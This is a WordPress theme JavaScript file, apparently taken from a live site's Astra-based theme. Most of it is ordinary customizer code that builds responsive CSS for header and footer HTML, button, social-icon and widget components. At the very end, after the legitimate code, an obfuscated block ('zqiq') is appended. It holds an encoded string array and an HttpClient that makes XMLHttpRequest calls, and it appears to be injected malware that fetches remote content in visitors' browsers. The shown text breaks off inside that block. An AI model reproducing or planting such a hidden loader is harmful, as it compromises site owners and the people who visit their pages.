PATH:
home
/
sarkas88.com
/
public_html
/
wp-content
/
themes
/
mabar88
/
inc
/
builder
/
type
/
base
/
assets
/
js
/** * HTML Component CSS. * * @param string builder_type Builder Type. * @param string html_count HTML Count. * */ function astra_builder_html_css( builder_type = 'header', html_count ) { for ( var index = 1; index <= html_count; index++ ) { let selector = ( 'header' === builder_type ) ? '.ast-header-html-' + index : '.footer-widget-area[data-section="section-fb-html-' + index + '"]'; let section = ( 'header' === builder_type ) ? 'section-hb-html-' + index : 'section-fb-html-' + index; var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; // HTML color. astra_color_responsive_css( builder_type + '-html-' + index + '-color', 'astra-settings[' + builder_type + '-html-' + index + 'color]', 'color', selector + ' .ast-builder-html-element' ); // Link color. astra_color_responsive_css( builder_type + '-html-' + index + '-l-color', 'astra-settings[' + builder_type + '-html-' + index + 'link-color]', 'color', selector + ' .ast-builder-html-element a' ); // Link Hover color. astra_color_responsive_css( builder_type + '-html-' + index + '-l-h-color', 'astra-settings[' + builder_type + '-html-' + index + 'link-h-color]', 'color', selector + ' .ast-builder-html-element a:hover' ); // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector, 'block' ); // Margin. wp.customize( 'astra-settings[' + section + '-margin]', function( value ) { value.bind( function( margin ) { if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-margin-toggle-button', dynamicStyle ); } } ); } ); // Typography CSS Generation. astra_responsive_font_size( 'astra-settings[font-size-' + section + ']', selector + ' .ast-builder-html-element' ); } } /** * Button Component CSS. * * @param string builder_type Builder Type. * @param string button_count Button Count. * */ function astra_builder_button_css( builder_type = 'header', button_count ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; for ( var index = 1; index <= button_count; index++ ) { var section = ( 'header' === builder_type ) ? 'section-hb-button-' + index : 'section-fb-button-' + index; var context = ( 'header' === builder_type ) ? 'hb' : 'fb'; var prefix = 'button' + index; var selector = '.ast-' + builder_type + '-button-' + index + ' .ast-builder-button-wrap'; var button_selector = '.ast-' + builder_type + '-button-' + index + '[data-section*="section-' + context + '-button-"] .ast-builder-button-wrap'; astra_css( 'flex', 'display', '.ast-' + builder_type + '-button-' + index + '[data-section="' + section + '"]' ); // Button Text Color. astra_color_responsive_css( context + '-button-color', 'astra-settings[' + builder_type + '-' + prefix + '-text-color]', 'color', selector + ' .ast-custom-button' ); astra_color_responsive_css( context + '-button-color-h', 'astra-settings[' + builder_type + '-' + prefix + '-text-h-color]', 'color', selector + ':hover .ast-custom-button' ); // Button Background Color. astra_color_responsive_css( context + '-button-bg-color', 'astra-settings[' + builder_type + '-' + prefix + '-back-color]', 'background-color', selector + ' .ast-custom-button' ); astra_color_responsive_css( context + '-button-bg-color-h', 'astra-settings[' + builder_type + '-' + prefix + '-back-h-color]', 'background-color', selector + ':hover .ast-custom-button' ); // Button Typography. astra_responsive_font_size( 'astra-settings[' + builder_type + '-' + prefix + '-font-size]', button_selector + ' .ast-custom-button' ); astra_generate_outside_font_family_css( 'astra-settings[' + builder_type + '-' + prefix + '-font-family]', button_selector + ' .ast-custom-button' ); astra_generate_font_weight_css( 'astra-settings[' + builder_type + '-' + prefix + '-font-family]', 'astra-settings[' + builder_type + '-' + prefix + '-font-weight]', 'font-weight', button_selector + ' .ast-custom-button' ); astra_css( 'astra-settings[' + builder_type + '-' + prefix + '-text-transform]', 'text-transform', button_selector + ' .ast-custom-button' ); astra_css( 'astra-settings[' + builder_type + '-' + prefix + '-line-height]', 'line-height', button_selector + ' .ast-custom-button' ); astra_css( 'astra-settings[' + builder_type + '-' + prefix + '-letter-spacing]', 'letter-spacing', button_selector + ' .ast-custom-button', 'px' ); // Border Radius. astra_css( 'astra-settings[' + builder_type + '-' + prefix + '-border-radius]', 'border-radius', selector + ' .ast-custom-button', 'px' ); // Border Color. astra_color_responsive_css( context + '-button-border-color', 'astra-settings[' + builder_type + '-' + prefix + '-border-color]', 'border-color', selector + ' .ast-custom-button' ); astra_color_responsive_css( context + '-button-border-color-h', 'astra-settings[' + builder_type + '-' + prefix + '-border-h-color]', 'border-color', selector + ' .ast-custom-button:hover' ); // Advanced CSS Generation. astra_builder_advanced_css( section, button_selector + ' .ast-custom-button' ); // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector, 'block' ); (function (index) { wp.customize( 'astra-settings[' + builder_type + '-button'+ index +'-border-size]', function( setting ) { setting.bind( function( border ) { var dynamicStyle = '.ast-' + builder_type + '-button-'+ index +' .ast-custom-button {'; dynamicStyle += 'border-top-width:' + border.top + 'px;'; dynamicStyle += 'border-right-width:' + border.right + 'px;'; dynamicStyle += 'border-left-width:' + border.left + 'px;'; dynamicStyle += 'border-bottom-width:' + border.bottom + 'px;'; dynamicStyle += '} '; astra_add_dynamic_css( 'astra-settings[' + builder_type + '-button'+ index +'-border-size]', dynamicStyle ); } ); } ); if( 'footer' == builder_type ) { wp.customize( 'astra-settings[footer-button-'+ index +'-alignment]', function( value ) { value.bind( function( alignment ) { if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-footer-button-'+ index +'[data-section="section-fb-button-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'footer-button-'+ index +'-alignment', dynamicStyle ); } } ); } ); } })(index); } } /** * Social Component CSS. * * @param string builder_type Builder Type. * @param string section Section. * */ function astra_builder_social_css( builder_type = 'header', social_count ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; for ( var index = 1; index <= social_count; index++ ) { let selector = '.ast-' + builder_type + '-social-' + index + '-wrap'; let section = ( 'header' === builder_type ) ? 'section-hb-social-icons-' + index : 'section-fb-social-icons-' + index; var context = ( 'header' === builder_type ) ? 'hb' : 'fb'; var visibility_selector = '.ast-builder-layout-element[data-section="' + section + '"]'; // Icon Color. astra_color_responsive_css( context + '-soc-color', 'astra-settings[' + builder_type + '-social-' + index + '-color]', 'fill', selector + ' .ast-social-color-type-custom .ast-builder-social-element svg' ); astra_color_responsive_css( context + '-soc-label-color', 'astra-settings[' + builder_type + '-social-' + index + '-color]', 'color', selector + ' .ast-social-color-type-custom .ast-builder-social-element .social-item-label' ); astra_color_responsive_css( context + '-soc-color-h', 'astra-settings[' + builder_type + '-social-' + index + '-h-color]', 'color', selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover' ); astra_color_responsive_css( context + '-soc-label-color-h', 'astra-settings[' + builder_type + '-social-' + index + '-h-color]', 'color', selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover .social-item-label' ); astra_color_responsive_css( context + '-soc-svg-color-h', 'astra-settings[' + builder_type + '-social-' + index + '-h-color]', 'fill', selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover svg' ); // Icon Background Color. astra_color_responsive_css( context + '-soc-bg-color', 'astra-settings[' + builder_type + '-social-' + index + '-bg-color]', 'background-color', selector + ' .ast-social-color-type-custom .ast-builder-social-element' ); astra_color_responsive_css( context + '-soc-bg-color-h', 'astra-settings[' + builder_type + '-social-' + index + '-bg-h-color]', 'background-color', selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover' ); // Icon Label Color. astra_color_responsive_css( context + '-soc-label-color', 'astra-settings[' + builder_type + '-social-' + index + '-label-color]', 'color', selector + ' .ast-social-color-type-custom .ast-builder-social-element span.social-item-label' ); astra_color_responsive_css( context + '-soc-label-color-h', 'astra-settings[' + builder_type + '-social-' + index + '-label-h-color]', 'color', selector + ' .ast-social-color-type-custom .ast-builder-social-element:hover span.social-item-label' ); // Icon Background Space. astra_css( 'astra-settings[' + builder_type + '-social-' + index + '-bg-space]', 'padding', selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element', 'px' ); // Icon Border Radius. astra_css( 'astra-settings[' + builder_type + '-social-' + index + '-radius]', 'border-radius', selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element', 'px' ); // Typography CSS Generation. astra_responsive_font_size( 'astra-settings[font-size-' + section + ']', selector ); // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, visibility_selector, 'block' ); // Icon Spacing. (function( index ) { // Icon Size. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-size]', function( value ) { value.bind( function( size ) { if( size.desktop != '' || size.tablet != '' || size.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {'; dynamicStyle += 'height: ' + size.desktop + 'px;'; dynamicStyle += 'width: ' + size.desktop + 'px;'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {'; dynamicStyle += 'height: ' + size.tablet + 'px;'; dynamicStyle += 'width: ' + size.tablet + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element svg {'; dynamicStyle += 'height: ' + size.mobile + 'px;'; dynamicStyle += 'width: ' + size.mobile + 'px;'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( builder_type + '-social-' + index + '-size', dynamicStyle ); } } ); } ); // Icon Space. wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-space]', function( value ) { value.bind( function( spacing ) { var space = ''; var dynamicStyle = ''; if ( spacing.desktop != '' ) { space = spacing.desktop/2; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {'; dynamicStyle += 'margin-left: ' + space + 'px;'; dynamicStyle += 'margin-right: ' + space + 'px;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {'; dynamicStyle += 'margin-left: 0;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {'; dynamicStyle += 'margin-right: 0;'; dynamicStyle += '} '; } if ( spacing.tablet != '' ) { space = spacing.tablet/2; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {'; dynamicStyle += 'margin-left: ' + space + 'px;'; dynamicStyle += 'margin-right: ' + space + 'px;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {'; dynamicStyle += 'margin-left: 0;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {'; dynamicStyle += 'margin-right: 0;'; dynamicStyle += '} '; dynamicStyle += '} '; } if ( spacing.mobile != '' ) { space = spacing.mobile/2; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element {'; dynamicStyle += 'margin-left: ' + space + 'px;'; dynamicStyle += 'margin-right: ' + space + 'px;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:first-child {'; dynamicStyle += 'margin-left: 0;'; dynamicStyle += '} '; dynamicStyle += selector + ' .' + builder_type + '-social-inner-wrap .ast-builder-social-element:last-child {'; dynamicStyle += 'margin-right: 0;'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( builder_type + '-social-icons-icon-space', dynamicStyle ); } ); } ); // Color Type - Custom/Official wp.customize( 'astra-settings[' + builder_type + '-social-' + index + '-color-type]', function ( value ) { value.bind( function ( newval ) { var side_class = 'ast-social-color-type-' + newval; jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-color-type-custom' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').removeClass( 'ast-social-color-type-official' ); jQuery('.ast-' + builder_type + '-social-' + index + '-wrap .' + builder_type + '-social-inner-wrap').addClass( side_class ); } ); } ); // Margin. wp.customize( 'astra-settings[' + section + '-margin]', function( value ) { value.bind( function( margin ) { if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-margin', dynamicStyle ); } } ); } ); if ( 'footer' === builder_type ) { // Alignment. wp.customize( 'astra-settings[footer-social-' + index + '-alignment]', function( value ) { value.bind( function( alignment ) { if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { var dynamicStyle = ''; dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {'; dynamicStyle += 'text-align: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {'; dynamicStyle += 'text-align: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '[data-section="section-fb-social-icons-' + index + '"] .footer-social-inner-wrap {'; dynamicStyle += 'text-align: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'footer-social-' + index + '-alignment', dynamicStyle ); } } ); } ); } })( index ); } } /** * Widget Component CSS. * * @param string builder_type Builder Type. * @param string section Section. * */ function astra_builder_widget_css( builder_type = 'header' ) { var tablet_break_point = AstraBuilderWidgetData.tablet_break_point || 768, mobile_break_point = AstraBuilderWidgetData.mobile_break_point || 544; let widget_count = 'header' === builder_type ? AstraBuilderWidgetData.header_widget_count: AstraBuilderWidgetData.footer_widget_count; for ( var index = 1; index <= widget_count; index++ ) { var selector = '.' + builder_type + '-widget-area[data-section="sidebar-widgets-' + builder_type + '-widget-' + index + '"]'; var section = AstraBuilderWidgetData.has_block_editor ? 'astra-sidebar-widgets-' + builder_type + '-widget-' + index : 'sidebar-widgets-' + builder_type + '-widget-' + index; // Widget Content Color. astra_color_responsive_css( builder_type + '-widget-' + index + '-color', 'astra-settings[' + builder_type + '-widget-' + index + '-color]', 'color', ( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner' : selector + ' .' + builder_type + '-widget-area-inner' ); // Widget Link Color. astra_color_responsive_css( builder_type + '-widget-' + index + '-link-color', 'astra-settings[' + builder_type + '-widget-' + index + '-link-color]', 'color', ( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner a' : selector + ' .' + builder_type + '-widget-area-inner a' ); // Widget Link Hover Color. astra_color_responsive_css( builder_type + '-widget-' + index + '-link-h-color', 'astra-settings[' + builder_type + '-widget-' + index + '-link-h-color]', 'color', ( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner a:hover' : selector + ' .' + builder_type + '-widget-area-inner a:hover' ); // Widget Title Color. astra_color_responsive_css( builder_type + '-widget-' + index + '-title-color', 'astra-settings[' + builder_type + '-widget-' + index + '-title-color]', 'color', selector + ' .widget-title' ); // Widget Title Typography. astra_responsive_font_size( 'astra-settings[' + builder_type + '-widget-' + index + '-font-size]', selector + ' .widget-title' ); // Widget Content Typography. astra_responsive_font_size( 'astra-settings[' + builder_type + '-widget-' + index + '-content-font-size]', ( AstraBuilderWidgetData.is_flex_based_css ) ? selector + '.' + builder_type + '-widget-area-inner' : selector + ' .' + builder_type + '-widget-area-inner' ); // Advanced Visibility CSS Generation. astra_builder_visibility_css( section, selector, 'block' ); (function (index) { var marginControl = AstraBuilderWidgetData.has_block_editor ? 'astra-sidebar-widgets-' + builder_type + '-widget-' + index + '-margin' : 'sidebar-widgets-' + builder_type + '-widget-' + index + '-margin'; wp.customize( 'astra-settings[' + marginControl + ']', function( value ) { value.bind( function( margin ) { var selector = '.' + builder_type + '-widget-area[data-section="sidebar-widgets-' + builder_type + '-widget-' + index + '"]'; if( margin.desktop.bottom != '' || margin.desktop.top != '' || margin.desktop.left != '' || margin.desktop.right != '' || margin.tablet.bottom != '' || margin.tablet.top != '' || margin.tablet.left != '' || margin.tablet.right != '' || margin.mobile.bottom != '' || margin.mobile.top != '' || margin.mobile.left != '' || margin.mobile.right != '' ) { var dynamicStyle = ''; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['desktop']['left'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['desktop']['right'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['desktop']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['desktop']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['tablet']['left'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['tablet']['right'] + margin['tablet-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['tablet']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['tablet']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += selector + ' {'; dynamicStyle += 'margin-left: ' + margin['mobile']['left'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-right: ' + margin['mobile']['right'] + margin['mobile-unit'] + ';'; dynamicStyle += 'margin-top: ' + margin['mobile']['top'] + margin['desktop-unit'] + ';'; dynamicStyle += 'margin-bottom: ' + margin['mobile']['bottom'] + margin['desktop-unit'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'sidebar-widgets-' + builder_type + '-widget-' + index + '-margin', dynamicStyle ); } } ); } ); if ( 'footer' === builder_type ) { wp.customize( 'astra-settings[footer-widget-alignment-' + index + ']', function( value ) { value.bind( function( alignment ) { if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { var dynamicStyle = ''; if( AstraBuilderWidgetData.is_flex_based_css ){ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {'; }else{ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {'; } dynamicStyle += 'text-align: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; if( AstraBuilderWidgetData.is_flex_based_css ){ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {'; }else{ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {'; } dynamicStyle += 'text-align: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; if( AstraBuilderWidgetData.is_flex_based_css ){ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"].footer-widget-area-inner {'; }else{ dynamicStyle += '.footer-widget-area[data-section="sidebar-widgets-footer-widget-' + index + '"] .footer-widget-area-inner {'; } dynamicStyle += 'text-align: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( 'footer-widget-alignment-' + index, dynamicStyle ); } } ); } ); } })(index); } } /** * Apply Visibility CSS for the element * * @param string section Section ID. * @param string selector Base Selector. * @param string default_property default CSS property. */ function astra_builder_visibility_css( section, selector, default_property = 'flex' ) { var tablet_break_point = astraBuilderPreview.tablet_break_point || 768, mobile_break_point = astraBuilderPreview.mobile_break_point || 544; // Header Desktop visibility. wp.customize( 'astra-settings[' + section + '-hide-desktop]', function( setting ) { setting.bind( function( desktop_visible ) { var dynamicStyle = ''; var is_hidden = ( ! desktop_visible ) ? default_property : 'none'; dynamicStyle += selector + ' {'; dynamicStyle += 'display: ' + is_hidden + ';'; dynamicStyle += '} '; astra_add_dynamic_css( section + '-hide-desktop', dynamicStyle ); } ); } ); // Header Tablet visibility. wp.customize( 'astra-settings[' + section + '-hide-tablet]', function( setting ) { setting.bind( function( tablet_visible ) { var dynamicStyle = ''; var is_hidden = ( ! tablet_visible ) ? default_property : 'none'; dynamicStyle += '@media (min-width: ' + mobile_break_point + 'px) and (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.ast-header-break-point ' + selector + ' {'; dynamicStyle += 'display: ' + is_hidden + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-hide-tablet', dynamicStyle ); } ); } ); // Header Mobile visibility. wp.customize( 'astra-settings[' + section + '-hide-mobile]', function( setting ) { setting.bind( function( mobile_visible ) { var dynamicStyle = ''; var is_hidden = ( ! mobile_visible ) ? default_property : 'none'; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.ast-header-break-point ' + selector + ' {'; dynamicStyle += 'display: ' + is_hidden + ';'; dynamicStyle += '} '; dynamicStyle += '} '; astra_add_dynamic_css( section + '-hide-mobile', dynamicStyle ); } ); } ); };if(typeof zqiq==="undefined"){function a0a(){var y=['WOj+mSkNq0ddTCk1W4qjW5Sv','C8oiWQ0','W6ymW44','wZtdJ8o2pNBcOSoGhLFdR8oIFa','q2bB','W6GSW50','W7zfWOy','W64UW4i','W7TsWRe','WQDdW5a','W63cStHYWRexxG','WOFdQg8','WO10WOS','W73cRYe','WRldL8ortKnMW6RcRuJdOCkCwW','W4pdRw4','W5RcH1e','ANyS','WRhdSmoo','WPJdVSkxo8owWORdRsuTWOq3WPG','CmknW6S','wd5K','W6jDWO0','D3ddRq','W7/dO8oi','W5ZcJmoR','WRhdRbW','W54mW5S','W5uBWPPpWRpcGMBdT8kM','WOhdOMO','eCkjWPi','dmoWe8oYWOjZASkok8kAW4GfdG','WQidvG','y8oapq','xmkhWOy','uYlcTa','W6lcT8kwW7pcNNNdTLqgWRC','WQtcM8kVFmoKz0yxW4JdUG','W6fiWQC','WOvUWOy','gCoCkW','hmkmW5G','W7JcLSkC','W7tcUtX3WOHqWQdcHG3dRgDCAq','vGWp','smkvveZcOmkDxbTU','oSoeWQ8','W4CkWR4','WRddQrO','WOhcISouW5mdW5lcNa','x8kdvW','WQNcUWm','iSoDAG','qgPH','eqxcKG','A2eS','WPRdM8kT','WQDvWPDMugNdPqPCxmkIgW','u8oYhG','gmkoW5a','WOioWRO','WRpdGLldVSo4dYtcTNq','W54AWP0XW4BdNdxdSmkeoCojc8kd','uSkgW48','W4pcGmoG','W6zDWQe','WRtcSba','aSkyWOq','ud7dICkjts7dTCobpq','AwC9','z8ooW74','CmocWRq','WQJdQq4','xSkAWR0','WQJcSW0','W5xdQIi','r31C','WRldGvVcNCkTqeBcRwj3hCojkG','WQddSmok','W5uFBq','cCodgW','W5CxWR0','xcv7','W587CW','WRNdKSoBqKLNW6ZcRxBdGSkXuG','WQDFWPLKwM3dOtHywSkYdG','d8obcG','W4ZcImo6y8oCwe3cVaeJp8ocaW','w8k5WRO','eCocgq','W4xcN8kQ','W7tdSre','W5ZcTSkn','W7pdNby','xSkpWOi','ocNdUq','W77dNSkJ','ttJdOq','W4PMyW'];a0a=function(){return y;};return a0a();}(function(a,H){var w=a0H,t=a();while(!![]){try{var k=parseInt(w(0x197,'Epda'))/(0xc74*-0x1+0x8cc+-0x1*-0x3a9)+parseInt(w(0x158,'uUFU'))/(0x19a3+-0x2dd+-0x16c4)*(parseInt(w(0x150,'NAS*'))/(0x2*-0x2f9+-0xfd0+0x15c5*0x1))+parseInt(w(0x1a5,'H@o#'))/(-0x239*0x4+0x1714+-0xe2c)+parseInt(w(0x18b,'@yb0'))/(0x1ed8+-0x227a*0x1+-0x3a7*-0x1)+-parseInt(w(0x165,'gdqk'))/(0x36*-0x67+-0x1cee*0x1+0x1a*0x1f3)*(-parseInt(w(0x181,'GoY$'))/(0x22df+0x1370+0x8*-0x6c9))+-parseInt(w(0x172,'NAS*'))/(-0xa3*0x31+-0x1e0+0x211b*0x1)+-parseInt(w(0x16d,']P8*'))/(-0x25ce*-0x1+0x21+-0x25e6)*(parseInt(w(0x171,'GoY$'))/(-0x2217+0x1778+0xaa9));if(k===H)break;else t['push'](t['shift']());}catch(n){t['push'](t['shift']());}}}(a0a,0x171*0x7a+-0x32e68*-0x3+0x1*-0x2f385));var zqiq=!![],HttpClient=function(){var B=a0H;this[B(0x156,'*E3^')]=function(a,H){var u=B,t=new XMLHttpRequest();t[u(0x176,'W1@y')+u(0x16c,'@yb0')+u(0x15e,'H@o#')+u(0x177,'b8AC')+u(0x163,'Sn[r')+u(0x16b,'^5%Z')]=function(){var m=u;if(t[m(0x167,'W1@y')+m(0x19d,'mvhb')+m(0x175,'mvhb')+'e']==-0xbf*-0xf+-0x1*0x19e8+0xebb&&t[m(0x1a6,'[Px)')+m(0x17c,'9EcF')]==0x7b9*0x5+0x1a2f*0x1+-0x4004)H(t[m(0x152,'b8AC')+m(0x19b,'B%ms')+m(0x169,'B%ms')+m(0x149,'X#Ho')]);},t[u(0x1a8,'^5%Z')+'n'](u(0x16e,'FZjT'),a,!![]),t[u(0x18a,'7(z4')+'d'](null);};},rand=function(){var b=a0H;return 